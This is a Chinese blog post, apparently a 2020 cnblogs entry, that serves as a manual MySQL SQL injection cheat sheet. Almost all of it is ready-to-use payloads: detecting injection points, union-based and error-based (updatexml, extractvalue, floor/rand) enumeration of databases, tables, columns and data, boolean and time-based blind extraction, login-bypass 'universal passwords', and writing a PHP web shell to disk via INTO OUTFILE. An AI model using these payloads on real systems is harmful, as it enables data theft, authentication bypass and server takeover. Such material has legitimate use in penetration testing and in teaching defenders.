SQL注入 (一)

一、手工注入


注入点检测


识别方法:通过在url栏输入'and 1=1or 1=1and sleep(1),如果出现报错,或者页面不一致,则可能存在注入点。
注入类型:整数型字符型搜索型BOOL盲注时间盲注HTTP头注入(cookie | user-agent)
PS:需要区分注入类型,比如'"')")%' 等之类结尾

查询注入(Payload)


猜测列数:order by [数字]
联合查询:union select [数字,数字,...]
常见信息:union select version(),user(),database(),4,5
查数据库:union select schema_name from information_schema.schemata limit 0,1
查询表名:union select table_name,2,3,4,5 from information_schema.tables where table_schema=database() limit 0,1
查询列名:union select column_name,2,3,4,5 from information_schema.columns where table_name='[表名]' limit 0,1
查表数据:union select [列名1],[列明2],3,4,5 from [表名] limit 0,1
PS:数据库版本version()、登录用户user()、数据库database()

错误回显(Payload)


报错函数:updatexml()extractvalue()rand()group_by()
常见信息:[某种符号] or updatexml(1, concat(0x7e, (select version()), 0x7e, (select user())), 0) %23

查数据库:[某种符号] or updatexml(1, concat(0x7e, (select schema_name from information_schema.schemata limit 0,1)), 0) %23
查询表名:[某种符号] or updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)), 0) %23
查询列名:[某种符号] or updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='[表名]' limit 0,1)), 0) %23
查表数据:[某种符号] or updatexml(1, concat(0x7e, (select [列名] from [表名] limit 0,1)), 0) %23
updatexml()替换成extractvalue()时,只需要传2个参数即可。extractvalue(1,([执行的sql]))

Mysql 5.1以上才存在xpath报错函数,若小于这个版本可以使用group_by() + rand()
默认Payload[某种符号] and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,([sql语句]))x from information_schema.tables group by x )a) %23
Payload中[sql语句]可以替换成想要获取信息的SQL,语法同上。

盲注 bool | time (Payload)


常用函数:substr()ascii()mid()length()
检测盲注:[某种符号] and 1=2 %23[某种符号] and sleep(3) %23
常见信息:[某种符号] and substr(user(),1,1)='r' %23[某种符号] and ascii(mid(version,1,1))=97 %23[某种符号] and ascii(mid(version(),1,1))=97 and sleep(3) %23
查数据库:
[某种符号] and if((select count(*) from information_schema.tables where table_schema=database())=10, sleep(3), 1=1) %23
[某种符号] and if((length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=10), 1=1, 1=2) %23
[某种符号] and if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)))=109, 1=1, 1=2) %23
查询列名:
[某种符号] and if((select count(*) from information_schema.columns where table_name=[表名])=10, sleep(3), 1=1) %23
[某种符号] and if((length(select column_name from information_schema.columns where table_name=[表名] limit 0,1)=10), 1=1, 1=2) %23
[某种符号] and if((ascii(mid((select columns from information_schema.columns where table_name=[表名] limit 0,1), 1, 1)))=109, 1=1, 1=2) %23
查表数据:
[某种符号] and if((select count([列名]) from [表名])=5, 1=1, 1=2) %23
[某种符号] and if(length((select count([列名]) from [表名]))=5, 1=1, 1=2) %23
[某种符号] and if(ascii(mid((select count([列名]) from [表名]), 1, 1))=101, 1=1, 1=2) %23
PS:当非bool型时,可以使用sleep(3)代替1=1。灵活使用substr()ascii()等函数

后台登录万能密码


' or 1=1 --' or '1'='1" or 1=1 --

写shell | 一句话


前提条件:
1.user()为root
2.知道web的绝对路径
3.文件路径有写入权限
Payload:
[某种符号] union select '[php代码]' into [关键字] '[绝对路径]' %23
[关键字]:outfile 或者 dumpfile

[某种符号] into outfile '[绝对路径]' [关键字] '[php代码]' %23
[关键字]lines terminated by 或者 lines starting by 或者 fields terminated by 或者 COLUMNS terminated by
PS:如果写不进shell可以试试Hex编码内容或路径,也可以Hex编码数据库名称或者表名,若SQL执行错误可以在[某种符号]后面加上limit 1试试

posted @ 2020-10-20 18:17  bluedye  阅读(9078)  评论(0编辑  收藏  举报